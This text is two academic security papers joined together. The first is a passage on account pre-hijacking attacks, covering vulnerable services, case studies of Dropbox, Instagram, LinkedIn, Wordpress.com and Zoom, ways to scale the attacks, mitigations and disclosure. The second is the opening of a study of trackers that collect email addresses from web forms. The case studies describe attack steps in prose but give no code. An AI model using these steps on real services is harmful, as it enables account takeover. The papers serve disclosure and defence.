news and entertainment • ◦ ◦ ◦ – Sept ‘21, GE

e-commerce ◦ ◦ • ◦ – Sept ‘21, SF

software company ◦ • • ◦ – Sept ‘21, H1

professional social network ◦ • • • – Jun ‘21, SE

cloud file storage ◦ ◦ ◦ •† – Jun ‘21, H1

job search ◦ ◦ ◦ • – Sept ‘21, BC

blog hosting platform ◦ • • •† – Jun ‘21, H1

online learning ◦ ◦ ◦ •† – Sept ‘21, SE

e-commerce • ◦ • ◦ – Jul ‘21, BC

graphics sharing • ◦ ◦ • – Jul ‘21, SE

freelancing platform ◦ • ◦ ◦ – Sept ‘21, BC

e-commerce – • – ◦ – Sept ‘21, SE

music streaming ◦ • • ◦ – Jun ‘21, H1

cryptocurrency – • – – – Sept ‘21, SF

sports news – • – – – Sept ‘21, SF

adult entertainment – • – • – Sept ‘21, H1

real estate • ◦ ◦ ◦ – Jun ‘21, H1

collaboration/productivity • • ◦ ◦ – Jul ‘21, Fe

image sharing • • – ◦ – Jul ‘21, H1

online learning/teaching • ◦ ◦ ◦ – Sept ‘21, H1

productivity tool • ◦ ◦ • – Sept ‘21, H1

news • • • ◦ – Jul ‘21, H1P

news and entertainment – • – ◦ – Sept ‘21, SE

document management ◦ • • ◦ – Sept ‘21, SF

microblogging social network – •∗ – ◦ – Sept ‘21, H1

video hosting ◦ ◦ • ◦ – Sept ‘21, H1

music sharing • ◦ • • – Jun ‘21, BC

Internet tools ◦ •∗ ◦ ◦ – Sept ‘21, GE

travel reservation ◦ •∗ ◦ • – Sept ‘21, H1P

adult entertainment • ◦ ◦ ◦ – Sept ‘21, GF

Internet tools – •∗ – • – Sept ‘21, Tw

financial services • ◦ ◦ ◦ – Sept ‘21, SF

online learning ◦ •∗ • ◦ – Sept ‘21, GF

Total vulnerable 13 19 12 11 1

Table 4: Vulnerabilities identified during our testing (January – June 2021). For each service, – means the vulnerability is not
applicable, ◦ means the service was tested and found not to be vulnerable, and • means the service was found to be vulnerable.
Additionally, •† means a CSRF attack is necessary in the Attack phase and •∗ means that the attack could be carried out
without resetting the victim’s password (e.g., via a one-time sign-in link). We disclosed these vulnerabilities to the services
via their respective disclosure channels, including HackerOne (H1), Security Form (SF), Security Email (SE), Bugcrowd (BC),
HackerOne Private Program (H1P), General-Support Email (GE), General-Support Form (GF), Federacy (Fe), and Twitter (Tw).
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5.3 Case Studies
In this section we present five case studies that illustrate how
pre-hijacking attacks could be carried out against well-known
services. All the vulnerabilities described in this section have
been responsibly disclosed to the respective vendors.

5.3.1 Dropbox

We found that the Dropbox website was vulnerable to a variant
of the Unexpired Email Change Attack.

Unexpired Email Change Attack. As described in Sec-
tion 4.4, the attacker could create an account using the vic-
tim’s email address. Dropbox would then send an email to the
victim, asking them to confirm their email address. However,
having not signed up for a Dropbox account, the victim might
ignore this email because it did not give any instructions as to
what they should do if they did not create the account. The at-
tacker would then start the change-of-email process changing
to the attacker’s email address, and Dropbox would send a
confirmation email to the attacker’s email address (transition
S2 to S6 in Figure 2). This email contained a URL to confirm
the change-of-email, but the attacker would not yet use it.

When the victim tried to create an account using their own
email address, this would fail because the email is already
associated with an account, and Dropbox would instead ask
the victim to sign in to that account. The victim might then
use email-based account recovery and set a new password,
causing the attacker to lose access to the account. As shown
in Figure 4a, alert victims might notice the pending email
change notification in the user interface (UI) and cancel this.
However, some victims might not notice this.

Some time later, the attacker could make the victim visit the
change-of-email confirmation URL (e.g., through a CSRF at-
tack [13]), which would associate the attacker’s email address
with the account. The victim would then see the UI shown
in Figure 4b. The attacker could then use the email-based
password reset feature to gain access to the account.

As Dropbox is a cloud-based file storage service and an
IdP, a successful attack could allow the attacker to access the
victim’s private files and sign in to other services where the
victim uses Dropbox as an IdP. However, observant victims
might notice that the attacker’s email address is also shown in
their account (pending confirmation), and might take action
to remove this, which would block the attack. Furthermore,
we were not able to test the validity period of the confirma-
tion URL (and the confirmation email did not state a validity
period). The validity period of this URL would also limit
the possible window of attack. We responsibly disclosed our
findings to Dropbox via HackerOne in June 2021.

Session fixation attack. During our experiments, we also
discovered a session fixation attack against Dropbox, which
allows an attacker to directly sign in to an existing Dropbox
account by fixing the session ID [31]. When we reported this
issue via HackerOne, it was marked as a duplicate as it had

been concurrently reported by another researcher. Details of
the concurrent report are not yet publicly available.

5.3.2 Instagram

We found that Instagram was vulnerable to the Trojan Identi-
fier Attack.

Trojan Identifier Attack (Alternative identifier vari-
ant). In Instagram, identifier verification is mandatory when
creating an account. Nevertheless, an attacker could create
an account using the attacker’s phone number, and associate
the victim’s email address to the created account. This would
cause a verification email to be sent to the victim’s email
address. However, based on our assumptions in Table 1, some
victims might ignore this email. When the victim subse-
quently tried to create an account using their email address,
they would find that an account already exists (and might
misinterpret this as e.g., being related to the acquisition of
Instagram by Facebook, if they already have a Facebook ac-
count with the same email address). The victim might recover
the account and start using it. The attacker would then be
able to sign into the account by requesting a one-time sign-in
link to be sent to the attacker’s phone number. However, the
attack can be thwarted if the victim notices and removes the
attacker’s phone number from the account.

As Instagram is a social network and an IdP, a successful
attacker would be able to access photos and videos shared
by the victim and members of their network, and sign in to
other services where the victim uses Instagram as an IdP. The
attacker would also be able to read the chats of the victim
and impersonate the victim. When we responsibly disclosed
our findings to Instagram in July 2021, they noted that their
identifier verification emails include a link to report suspicious
sign ups. However, it is unclear how many victims would
take action in this situation, as previous studies (e.g., [2])
have shown user-initiated security decisions to be ineffective.
Additionally, Instagram also noted that it is the responsibility
of the users to look for Trojan identifiers in their profile.

5.3.3 LinkedIn

We found that LinkedIn was potentially vulnerable to the
Unexpired Session Attack and a variant of the Trojan Identifier
Attack.

Unexpired Session Attack. This was potentially feasible
because LinkedIn did not by default invalidate the active
sessions of an account after a password change. An option
for doing this was displayed during the password change
procedure, but was not selected by default. If the victim did
not select this option, the account remained vulnerable to
this type of attack. We also noticed that this attack could be
performed using the email verification trick (Section 4.6).

Trojan Identifier Attack. This was potentially feasible
because LinkedIn provides the option to associate multiple
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(a) Dropbox UI at the end of Pre-hijack phase (Phase 1) (b) Dropbox UI at the end of Attack phase (Phase 3)

Figure 4: Dropbox UI of the victim’s account during the Unexpired Email Change Attack.

email addresses with an account. As described in Section 4.3,
the attacker creates an account with the victim’s email address
and then adds their own email address to the account. This
sends an email-change verification URL to the attacker’s
email address.

After the victim recovers the account and confirms their
own email address, any attempt to confirm another email
address must be made from an authenticated session. The
attacker thus needs the victim to visit the confirmation URL
on the attacker’s behalf (e.g., through a CSRF attack). If
successful, the attacker could request a one-time sign in link
for this account to be sent to their email address, allowing
them to access the account without the victim’s password.

As LinkedIn is a professional social network and an IdP, a
successful attack could allow the attacker to read the victim’s
sensitive conversations, impersonate the victim, or sign in as
the victim at other services where the victim uses LinkedIn
as an IdP. We reported our findings to LinkedIn in June 2021.
As a result, LinkedIn changed the default behavior to invali-
date active sessions after a password change, thus mitigating
the Unexpired Session Attack. They also noted that they use
multiple defense in depth techniques to minimize the win-
dow of vulnerability for Trojan Identifier Attacks. Firstly, the
email-change verification URLs are only valid for a limited
period of time, forcing the attacker to refresh these regularly.
Secondly, there is only a short time window after the victim’s
last authentication in which email-change confirmations will
be accepted without requiring re-authentication. After this
window, the victim will be asked to re-authenticate, which
would likely raise suspicion. Finally, LinkedIn uses various
anti-abuse controls to prevent the creation of multiple ac-
counts with unconfirmed email addresses. We discuss these
defenses further in Section 6.2.2.

5.3.4 Wordpress.com

We found that Wordpress.com was vulnerable to the Unex-
pired Session and Unexpired Email Change Attacks.

Unexpired Session Attack. In the Victim action phase,
when the victim tried to create an account with their email
address, Wordpress.com notified the victim that an account
already exists and provided the option to sign in to the account
via a one-time link sent to the victim’s email address. As long
as the victim makes use of this option (i.e., does not reset
their password), the attacker can maintain their access to the
account. However, even once the victim sets a new password,
the attacker’s earlier session will not be invalidated, allowing
the attacker to retain access potentially indefinitely if the
session is kept active.

Unexpired Email Change Attack. Similarly to the first
case study, in order to successfully execute this attack, the
attacker would need to perform a CSRF-like attack in the
Attack phase.

A successful attack on Wordpress.com would allow the
attacker to maliciously modify the websites managed by the
victim and sign in to other services where the victim uses
Wordpress.com as an IdP. When we reported our findings to
Wordpress.com via HackerOne in June 2021, the reports were
marked as “Not Applicable”. These vulnerabilities were not
present in the self-hosted version of the Wordpress software
because it required all self-registered users to verify their
email addresses before allowing them to perform any actions.

5.3.5 Zoom

We found that Zoom was vulnerable to the Classic-Federated
Merge and Non-verifying IdP Attacks.

Classic-Federated Merge Attack. Although free Zoom
accounts require email verification before the account is cre-
ated, this restriction was not present for paid accounts. This
enables an attacker to abuse the paid account creation pro-
cess to create an account using the victim’s email address
and perform the Classic-Federated Merge Attack. The UI of
Zoom when the victim tried to create their account in the
Victim action phase of this attack is shown in Figure 5. As
evident from the figure, the victim would believe they were
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Figure 5: Zoom’s UI in the Victim action phase of the Classic-
Federated Merge Attack. This may lead the victim to believe
they are creating a new account instead of being signed in to
an attacker-created account.

creating a fresh account, instead of being signed in to the
attacker-created account.

Non-verifying IdP Attack. Since Zoom supports custom
IdPs, the attacker could use a non-verifying IdP to create
a Zoom account with the victim’s email address. For our
experiments, we used OneLogin’s IdP service [30]. When
the victim subsequently came to create a Zoom account with
the same email address, Zoom did not notify the victim of
the existence of an account with the same email address and
instead signed the victim in to the attacker-created account.

Being able to login to the victim’s Zoom account would
enable the attacker to record the meetings attended by the
victim, access the participant details (e.g., attendee names and
email addresses) of any meetings hosted by the victim, access
the sensitive chat history, impersonate the victim in Zoom
chat, and sign in to other services where the victim uses Zoom
as an IdP. When we responsibly disclosed these attacks to
Zoom in August 2020 and March 2021, they assessed both
reports as high severity and fixed the vulnerabilities.

6 Discussion

In this section we discuss account pre-hijacking attacks from
the perspective of attackers and defenders, explaining how
they might be scaled up to target a larger number of users,
as well as identifying the root cause of the vulnerabilities
and presenting several defense in depth strategies. We also
sketch out a possible approach for automating the process of
scanning for these vulnerabilities, and provide further details
about our responsible disclosures to the affected services.

6.1 Scaling Pre-Hijacking Attacks
In Section 4, we described the account pre-hijacking attacks
from the perspective of an attacker targeting a specific victim
on a specific service. However, it is likely also possible to

scale-up the attack to a larger number of users and services.
For example, the attacker could obtain lists of potential iden-
tifiers (e.g., email addresses and phone numbers) by scraping
social/professional networking services, accessing data from
data breach incidents, or by leveraging contact information
aggregation services. The attacker can then try to create ac-
counts for these identifiers at a large number of services, using
automated scripts. Although the account creation may fail on
some services, as the victim may already have an account, it is
likely to succeed on several other services. New services that
are increasing in popularity are a particularly attractive target
for pre-hijacking attacks as victims are less likely to have
already created accounts, but are likely to do so in future. For
instance, in 2020, the Zoom video-communications software
saw a huge growth in their user base due to the Coronavirus
pandemic [10]. After creating the accounts, the attacker can
leverage automated scripts to periodically check whether the
victims have recovered (or started using) the pre-hijacked
accounts. For example, in the Unexpired Session attack, the
attacker can detect account recovery by checking whether the
credentials chosen during the pre-hijacking phase can still be
used to sign-in to the account. After the victims start using the
pre-hijacked account, the attacker can wait for a suitable pe-
riod of time (e.g., to allow the victim time to provide sensitive
information) before completing the attack.

6.2 Root Cause & Mitigation

6.2.1 Strict Identifier Verification

The root cause of all of the attacks identified in the preceding
sections is failure to verify ownership of the claimed identi-
fier. This applies directly to the service itself (as illustrated
by the Classic-Federated Merge, Unexpired Session, Trojan
Identifier, and Unexpired Email Change Attacks), as well as
to the IdP (see Non-verifying IdP Attack). Although many
services do perform this type of verification, they often do so
asynchronously, allowing the user to use certain features of
the account before the identifier has been verified. Although
this might improve usability (reduces user friction during sign
up), it leaves the user vulnerable to pre-hijacking attacks.

On the other hand, all of the above attacks could be mit-
igated if the service or IdP sent a verification email to the
user-provided email address and required the verification to
be successfully completed before allowing any further actions
associated with the account. A similar approach could be used
to verify ownership of other types of identifiers, such as using
text messages or automated voice calls to confirm ownership
of phone numbers. If the service relies on the IdP to perform
verification, it should require a strong guarantee from the IdP
that this verification has been performed. Alternatively, the
service could perform its own additional verification, but this
adds further friction and negatively effect usability.
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6.2.2 Defense in Depth

In addition to the identifier verification discussed above (or
if this is not possible), services can implement the following
recommendations to achieve defense in depth.

Password resets. When the password for an account is
reset, the service should perform the following actions:

• Sign out all other sessions and invalidate all other au-
thentication tokens for that account. This would mitigate
the Unexpired Session Attack.

• Cancel all pending email change actions for that account
to mitigate the Unexpired Email Change Attack.

• Notify the user of which federated identities, alternate
email addresses, and phone numbers are currently linked
to the account and ask them to explicitly select which
ones to retain (i.e., unlink by default). Alternatively, ask
the user to select any identifiers they do not recognize
(i.e., retain by default), but this runs the risk of the user
ignoring the prompt. Assuming the user acts correctly,
this would mitigate the Non-verifying IdP Attack.

Merging accounts. When a service merges an account
created via the classic route with one created via the federated
route (or vice-versa), the service must ensure that the user
currently controls both accounts. For example, when the user
attempts to create an account via the federated route but a
classic account already exists for the same email address,
the user should be required to provide or reset the password
for the classic account. Additionally, the steps we discussed
above for strengthening the password-reset process should
also be applied. This would mitigate the Classic-Federated
Merge, and Non-verifying IdP Attacks.

Email change confirmations. When the service sends a
capability (e.g., a code or a URL with an embedded authen-
tication token) to confirm a change of email address, the
validity period of this capability should be as low as possi-
ble, within the constraints of usability, in order to minimize
the window of vulnerability for the Unexpired Email Change
Attack. However, this will not prevent the attacker from con-
tinuously requesting new capabilities whenever the previous
ones expire. Therefore, the service must limit the number of
times a new capability can be requested from an account to
the same, unverified identifier.

Unverified-Account Pruning. Account pruning refers to
the practice of deleting inactive user accounts (e.g., [25]). Ser-
vices can apply the same process to unverified user accounts
(i.e., accounts pending identifier verification). Lowering the
time threshold for pruning unverified accounts would reduce
the window of vulnerability for most pre-hijacking attacks
(an exception is the Non-verifying IdP Attack). However, this
will not prevent an attacker from creating a new account with
the same identifier after the previous account gets pruned.
To prevent this, the service should monitor and/or limit the

number of times a new account can be created for the same
identifier, without the identifier being verified. However, this
in turn could allow the attacker to mount a type of Denial-of-
Service (DoS) attack by exhausting the account creation quota
of the identifiers of legitimate users. Therefore, the service
can instead reduce the pruning threshold for unverified ac-
counts and leverage bot-detection frameworks to limit the rate
at which the attacker can automatically create new accounts.

Multi-Factor Authentication (MFA). Users can protect
themselves from pre-hijacking attacks by activating MFA in
their accounts. Correctly-implemented MFA will prevent the
attacker from authenticating to a pre-hijacked account after
the victim starts using this account. In order to prevent the
Unexpired Session Attack, the service must also invalidate
any sessions created prior to the activation of MFA.

Additional Security Measures. During our experiments,
we observed several additional security measures taken by
some of the services we analyzed, and we highlight these
here. Some services included a link in the verification emails
sent to the victim to report suspicious activity (e.g., as dis-
cussed in the Instagram case study). Some services notified
users of any security-critical changes to their account, such as
email/password changes and new devices/location anomalies.
Both of these approaches could help to detect or alert the user
to a pre-hijacking attack. Some services allowed creation of
multiple accounts with the same identifier, and thus avoided
merging the attacker’s and victim’s accounts.

6.3 Automatically Detecting Vulnerabilities
Although our experiments relied on manual testing, we be-
lieve that it should be possible for service owners to automate
testing for pre-hijacking vulnerabilities, at least to some extent.
For example, service owners likely have access to a private
testing version of the service in which they could temporarily
disable any anti-automation protection measures. This should
make it possible to write and deploy automated scripts that
perform the actions from each phase of the pre-hijacking at-
tacks in Section 4. These would likely have to be customized
for the specific service (e.g. to automate service-specific pro-
cesses such as account creation, email change, etc.). The script
could vary the sequence in which these actions are performed
to test different patterns of interaction. This could be used in
conjunction with a test oracle that checks the server-side state
of the service to identify potential vulnerabilities. Finally, af-
ter executing each test, the state of the test service could be
reset to a default value, to accelerate the testing process. In
future, we hope that web application vulnerability scanners
might also support this type of semi-automated scanning.

6.4 Responsible Disclosure
In Section 5.3, we showed that account pre-hijacking attacks
can have serious consequences including disclosure of sensi-
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tive information (e.g., Sections 5.3.1 and 5.3.3), website de-
facement (e.g., Section 5.3.4), and spying on web users (e.g.,
Section 5.3.5). In light of this, we responsibly disclosed all the
56 vulnerabilities we identified on 35 services. We reported
19 of the vulnerabilities via third-party vulnerability coordi-
nation platforms, including HackerOne [18], Bugcrowd [11],
and Federacy [15]. We reached out to a further 11 companies
through their dedicated email addresses and forms for report-
ing security vulnerabilities. For those services that lacked ded-
icated security channels (4), were reached out through their
general support emails and forms. For one service, we could
not find any of the above contact channels, so we reached
them through their parent company’s Twitter profile. The date
on which we disclosed the vulnerabilities to each service is
shown in the last column of Table 4.

7 Related Work

Many of the techniques we use in our pre-hijacking attacks
are inspired by prior work on related classes of attacks.

Preemptive account hijacking. To the best of our knowl-
edge, Ghasemisharif et al. [17] present the first example of
preemptive account hijacking in the scientific literature (see
Section 5 of [17]). Our work builds upon their example, but
assumes a significantly weaker attacker. Specifically, they
consider an attacker who has gained control of the victim’s
federated identity (e.g., the victim’s IdP account). Although
this is certainly possible, as they demonstrate in the same
work [17], it goes beyond the standard web attacker threat
model (e.g., [1]). Additionally, multi-factor authentication
(MFA) at the IdP, and browser-level protection mechanisms
such as HTTP Strict-Transport-Security (HSTS) [27], make it
more difficult for an attacker to execute their attack. Neverthe-
less, their attack is more powerful than any of ours, since once
a victim’s IdP account has been compromised, this can be used
to hijack even the existing RP accounts of the victim. In con-
current work with ours, Ghasemisharif et al. [16] also present
a tool for automated auditing of session management flaws in
SSO, which again assumes that the attacker has compromised
the victim’s IdP account at the session level. In contrast, we
show that there exists a class of account pre-hijacking attacks
that are possible without compromising the victim’s federated
identity. These attacks are thus significantly easier to execute,
as demonstrated by our analysis in Section 5.2.

As we explained in Section 6.4, some vendors marked
our reports on the Classic-Federated Merge Attack as du-
plicate (indicating that the attack had been reported previ-
ously). Upon further investigation, we identified two recent
HackerOne reports [14, 19] that mention a variant of our at-
tack (referred to as pre-account takeover). In this variant, it
is assumed that the victim will directly try to do federated
authentication after the attacker has pre-hijacked the account.
In our version of the Classic-Federated Merge Attack, we
make the assumption that the victim will first try to create

an account through federated means before trying to sign
in. Nevertheless, these reports indicate that the security bug
bounty research community is already-aware of account pre-
hijacking attacks.

Account hijack with SSO. Mainka et al. [24] explain how
a web attacker could hijack the victim’s RP account through
a malicious IdP. Similarly, Peles [33] explores the possibility
of an attacker signing in to the existing RP accounts of the
victim by leveraging a vulnerable IdP that allows SSO logins
before the completion of email verification. These are closely
related to and influenced the techniques we use in our Non-
verifying IdP Attack. Homakov et al. [20] and Sclafani et
al. [35] discuss attacks that enable an attacker to authenticate
to the victim’s RP account by connecting the attacker’s IdP
account to it. This contributed to the technique we use in
our Trojan Identifier Attack. Although there is a large body
of literature discussing logical vulnerabilities in the login
process e.g., [5, 6, 38, 40, 41], there has been relatively little
focus on the security of account creation, which as we have
shown in this work, is also critical for protecting users.

Account hijack without SSO. Zeller et al. [42] present an
attack in which the attacker associates their own email address
to the victim’s account and takes control of the account by
requesting a password reset link to be sent to the attacker’s
email address. Similarly, Innocenti et al. [21] discusses at-
tacks based on the password-reset URLs and Lee et al. [23]
presents the scenario where an attacker owns the recycled
phone number of the victim to hijack the accounts of the vic-
tim through SMS-based password reset. Although the threat
model considered in these works are different from ours, they
inspired our Unexpired Email Change and Trojan Identifier
Attacks. Additionally, the classic account hijack attack using
CSRF [13] talks about the capability of the attacker to sign
in to the victim’s account by setting an attacker-chosen pass-
word on the account. This attack motivated our discovery of
the Classic-Federated Merge Attack.

Login CSRF. The common element of account pre-
hijacking and login CSRF attacks (e.g., [9, 39]) is that, in
both cases, the attacker attempts to trick the victim to use an
attacker-controlled account. Both classes of attacks thus allow
the attacker to spy on the actions performed by the victim
while they are signed in to the attacker-controlled account.
However, the main difference is in the way the victim ends up
signed in to the attacker-controlled account. In login CSRF
attacks, the victim is forcefully authenticated to the attacker’s
account, which may be noticed by observant users. In contrast,
in account pre-hijacking, the victim willingly signs in to what
they believe to be their own account, unaware that it has been
pre-hijacked.

8 Conclusion & Future Work

In this paper, we show that there exists an entire class of
account pre-hijacking attacks, which ultimately allow an at-
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tacker to take control of a victim’s account. We describe five
specific attacks. To measure the prevalence of these vulnera-
bilities in the wild, we analyzed the top 75 popular services
based on the Alexa global rankings. We found that at least
35 of these were vulnerable to one or more pre-hijacking at-
tacks, including major services such as Dropbox, Instagram,
LinkedIn, Wordpress.com, and Zoom. We disclosed these vul-
nerabilities to the affected organizations, some of which have
acknowledged the vulnerabilities as being of high severity. Fi-
nally, we analyzed the root cause of these vulnerabilities, and
presented a set of security requirements that would mitigate
all the vulnerabilities we identified.

There are several potential avenues for future research re-
lated to account pre-hijacking attacks. Firstly, account pre-
hijacking attacks are largely possible because of services not
performing strict identifier verification (e.g., to reduce user
friction during account creation). An empirical evaluation
of this topic could explore the precise usability benefits and
contrast these against the security risks. Secondly, automated
detection of account pre-hijacking vulnerabilities is a promis-
ing avenue for future work, as such tools could extend the
evaluation to more websites, mobile applications, and desktop
applications. Although we briefly sketch a design for this in
Section 6.3, this could be explored in greater detail. Finally,
pre-hijacking attacks such as the Unexpired Email Change
Attack show the importance of capability URLs. Further re-
search is needed on the types of capability URLs in use, their
typical validity periods, and the ways in which they might be
abused (e.g., [21]).
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Abstract
Web users enter their email addresses into online forms for
a variety of reasons, including signing in or signing up for a
service or subscribing to a newsletter. While enabling such
functionality, email addresses typed into forms can also be
collected by third-party scripts even when users change their
minds and leave the site without submitting the form. Email
addresses—or identifiers derived from them—are known to
be used by data brokers and advertisers for cross-site, cross-
platform, and persistent identification of potentially unsuspect-
ing individuals. In order to find out whether access to online
forms is misused by online trackers, we present a measure-
ment of email and password collection that occurs before the
form submission on the top 100,000 websites. We evaluate
the effect of user location, browser configuration, and inter-
action with consent dialogs by comparing results across two
vantage points (EU/US), two browser configurations (desk-
top/mobile), and three consent modes. Our crawler finds and
fills email and password fields, monitors the network traffic
for leaks, and intercepts script access to filled input fields.
Our analyses show that users’ email addresses are exfiltrated
to tracking, marketing and analytics domains before form
submission and without giving consent on 1,844 websites
in the EU crawl and 2,950 websites in the US crawl. While
the majority of email addresses are sent to known tracking
domains, we further identify 41 tracker domains that are not
listed by any of the popular blocklists. Furthermore, we find
incidental password collection on 52 websites by third-party
session replay scripts.

1 Introduction

Websites commonly use third-party advertising and marketing
services to monetize their content. Those services heavily
depend on monitoring users’ online activities, at times without
their knowledge and consent. Stateful tracking mechanisms
such as cookies are isolated by origins, and limited to the
web platform. As users’ online activities are spread over a

number of connected devices, tracking users only on websites
does not suffice to get a complete view of their profile. The
demand for an alternative mechanism to track users across
websites and devices has also increased since major browser
vendors such as Safari and Firefox have started blocking or
partitioning third-party cookies and trackers.

Email addresses are ideal identifiers to fill this gap, since
they are unique, persistent, and can even be available in the
offline realm—e.g., when a user signs up for a loyalty card.
Compared to other personal information such as name or
postal address, email addresses are more effective for track-
ing users across platforms, since they are long-term, unique,
and available on many websites and applications to facilitate
account login, registration, and newsletter subscriptions. Data
brokers and advertisers already use email hashes to identify
users, track them across devices, and match their online and
offline activities [7, 25, 35].

The demand for a more global and persistent identifier,
along with the ongoing phase-out of third-party cookies,
makes email addresses typed into online forms an attractive
target for collection by trackers. However, prior work on the
collection of credentials typed into online forms is limited.
Besides, the collection of information before form submission
has been even less studied. Only a 2017 news article by Surya
Mattu and Kashmir Hill reported that a third party called Nav-
istone was collecting personal information from mortgage
calculator forms before the user submitted the form [71]. This
is despite the high dropout rates among web users (e.g., in
signup forms [27, 29]), which shows that many users indeed
leave websites without submitting the form they started filling
out. For instance, a survey by The Manifest found that 81%
of the 502 respondents have abandoned forms at least once,
and 59% abandoned a form in the last month [38].

In this paper, we investigate to what extent third-party track-
ers collect email addresses, and (incidentally) passwords, even
if the user does not submit any form. Unlike prior work, we
focus on leaks that occur before form submission, and we
analyze the effect of location, of user consent to personal data
processing, and of mobile vs. desktop browsing.
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In addition, we evaluate the effect of users’ location, of
user consent to personal data processing, and of mobile vs.
desktop browsing. In particular, we run crawls from two van-
tage points (EU & US), with desktop and mobile-emulated
browsers. In addition, we use three different cookie consent
settings to investigate the effect of user consent: accept all,
reject all, and no action. Our contributions include the follow-
ing:

• We develop an interactive, instrumented crawler based
on DuckDuckGo’s Tracker Radar Collector [34] to mea-
sure email and password exfiltration on Tranco top 100K
sites. We fit the crawler with a pre-trained machine-
learning (ML) classifier that can robustly detect email
fields. Our crawler is further able to fill the email and
password fields and to intercept script access to filled
input fields (Section 3.1).

• Based on a crawl of 2.8 million pages from the top
100K sites, we find that trackers collect email addresses
before form submission on thousands of websites in both
EU (1,844 websites) and US (2,950 websites) crawls—
60% more exfiltrations when the same sites are visited
from the US. We uncover 41 previously unknown tracker
domains that exfiltrate email addresses. We develop a
proof-of-concept browser add-on that detects sniff and
exfiltration attempts on online forms.

• We discuss whether email exfiltrations by trackers are
compliant with the GDPR or not (Section 5). Further,
we send GDPR requests to a sample of websites and
third parties, asking the purpose of their email collection,
retention period and further sharing policies (Section 6).

• Finally, we uncover incidental password collection by
session replay providers on 52 websites (Section 4.2).
Two third-party trackers with a combined presence of
five million websites released fixes to address the issue,
thanks to our disclosures.

2 Background and Related Work

2.1 Background

Web tracking is the process of collecting information about
users’ online activities across websites. The personal infor-
mation that can be collected or inferred by the trackers may
include personal and sensitive information such as sexual
orientation, political and religious beliefs. Tracking may be
performed for various purposes including analytics, personal-
ization, and building a behavioral profile for marketing and
targeted advertisements.

The most traditional way to track users across websites
is to store a unique identifier in users’ cookies. However, in

the last decade, more intrusive and persistent tracking mecha-
nisms have emerged. Browser fingerprinting [53], evercook-
ies [13] and cookie syncing [76] are such mechanisms that
are harder to control and detect than the traditional cookies.
As a reaction to these emergent tracking mechanisms, track-
ing protection countermeasures such as browser extensions
and built-in browser defenses were developed. For instance,
Safari’s Intelligent Tracking Prevention, and Firefox’s En-
hanced Tracking Protection can prevent third-party tracking
by identifying trackers and blocking cookies that are used
for cross-site tracking [11, 87]. The countermeasures against
traditional tracking mechanisms made alternatives such as
tracking based on personal identifiers or “people-based mar-
keting” [22] even more necessary.

2.2 Related Work

Online tracking Several studies investigated stateful [67,80]
and stateless [57, 60, 65] tracking techniques and their evolu-
tion over time. Taking an offensive approach, other studies
proposed new tracking techniques that are difficult to detect
such as canvas and GPU fingerprinting [64, 73]. Analyzing
IAB Europe’s Transparency and Consent Framework (TCF)
cookie banners, Matte et al. found a widespread violation of
the GDPR and the ePrivacy Directive; for instance by register-
ing positive consent when the user has not made a choice [70].
Similar to our discussion on GDPR compliance of email ex-
filtration practices (Section 5), Mayer and Mitchell presented
an overview of regulation that applies to online tracking–
but their analysis predates modern privacy laws such as the
GDPR [72].

Personal information leaks Lin et al. presented the first
comprehensive study of privacy threats emanating from
browsers’ auto-fill functionality [68]. While relevant, auto-
fill-related abuse is orthogonal to the types of exfiltration
we investigate. Acar et al. studied personal data exfiltration
by third parties, uncovering inadvertent password leaks by
session replay scripts, and third parties that harvest (hashed)
email addresses by injecting invisible login forms that trigger
browsers’ login managers [41].

Englehardt et al. built a corpus of emails by signing up to
mailing lists, and they found that 30% of emails they received
leaked the recipient’s email address to one or more third-
party servers when viewed in an email client program or web
application [56]. Similar to our study, Englehardt et al. also
searched and filled email fields, but their method aimed to
identify leaks that occur when reading emails—not when
typing email addresses on the page.

Starov et al. studied PII leakage on contact pages of the
100,000 most popular sites on the web [83]. They populated
contact forms with a name, surname, email address and a
sample contact message. Their results showed that, after re-
moving accidental leakage, 6.1% (1,035) of all contact forms
leaked PIIs to third parties after form submission. They also
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Figure 1: Components of our crawler. We integrate Firefox Relay’s Fathom-based email field classifier [10] and Consent-O-
Matic [45] to Tracker Radar Collector (TRC)—a web privacy measurement crawler developed by DuckDuckGo [34]. TRC is
based on Puppeteer, which uses Chrome Devtools Protocol to interact with the underlying browser. We modify TRC to efficiently
discover inner pages, and fill email and password fields.

found that PIIs were leaked to third parties before submitting
the contact form on 13 websites. Unlike Starov et al.’s work,
we ran comparative crawls (mobile/desktop, US/EU, consent
modes); and our leak detection method did not require three
visits. While not directly comparable, we identified substan-
tially more personal information leaks.

Chatzimpyrros et al. [47] and Dao et al. [49] investigated
PII leaks on top 200K websites, and on 307 popular shop-
ping websites respectively. Chandramouli et al. measured the
prevalence of email header injection vulnerabilities in web
forms, which can be used for phishing, spoofing, and other at-
tacks [46]. Other prior work investigated PII leaks on mobile
devices [78,79], or compared tracking on mobile and desktop
devices [89].

Our study differs from these works by focusing on email
and password exfiltration during the filling of the forms. We
run crawls from multiple vantage points, with different con-
sent modes to evaluate their effect on data exfiltration. We
compare email and password collection on mobile and desk-
top crawls. In addition, we use GDPR requests to reach out to
first and third parties to ask for the purposes of email address
collection.

Web privacy measurement studies Many researchers de-
veloped their own tools to study web tracking techniques in
the wild. In 2012, Mayer and Mitchell implemented Fourth-
Party, a Firefox extension that instrumented browser APIs,
HTTP traffic and cookies [72]. Using FourthParty, they ex-
amined web tracking techniques on more than 500 web-
sites. FPDetective is based on a modified PhantomJS and
Chromium and was used to measure browser fingerprinting
on the top million pages [42]. Englehardt and Narayanan de-
veloped OpenWPM, which consists of an instrumentation ex-
tension and automation code that drives a full-fledged Firefox
browser [57]. Jueckstock and Kapravelos contributed Visi-
bleV8, a modified V8 JavaScript engine that logs all native JS
function calls and property accesses, without the need to add
specific instrumentation [63]. Akhavani et al. inspected 33

Google Chrome, 31 Mozilla Firefox, and 33 Opera browser
versions released from 2016 to 2020 by using VisibleV8, and
showed that different browser versions have identifiable finger-
prints [43]. Recently, DuckDuckGo developed Tracker Radar
Collector [34], an instrumented Puppeteer-based crawler that
is used to detect trackers through large-scale crawls. We chose
to build our crawler by extending Tracker Radar Collector for
its simplicity and scalability. We explain the details of this
process in the following section.

Login security Jonker et al. presented a framework called
Shepherd, which detects login pages using a combination
method of searching for login-based URLs, clickable elements
and search engine APIs [62]. Shepherd also interacts with the
login forms, and analyzes authentication cookies to determine
whether the website is vulnerable to session hijacking. Ana-
lyzing the use of web authentication mechanisms on 100,000
domains, Van Acker et al. showed that login pages of cer-
tain open-source web frameworks and content management
systems are vulnerable to several attacks under various adver-
sary models [85]. They evaluated 51,307 login pages from
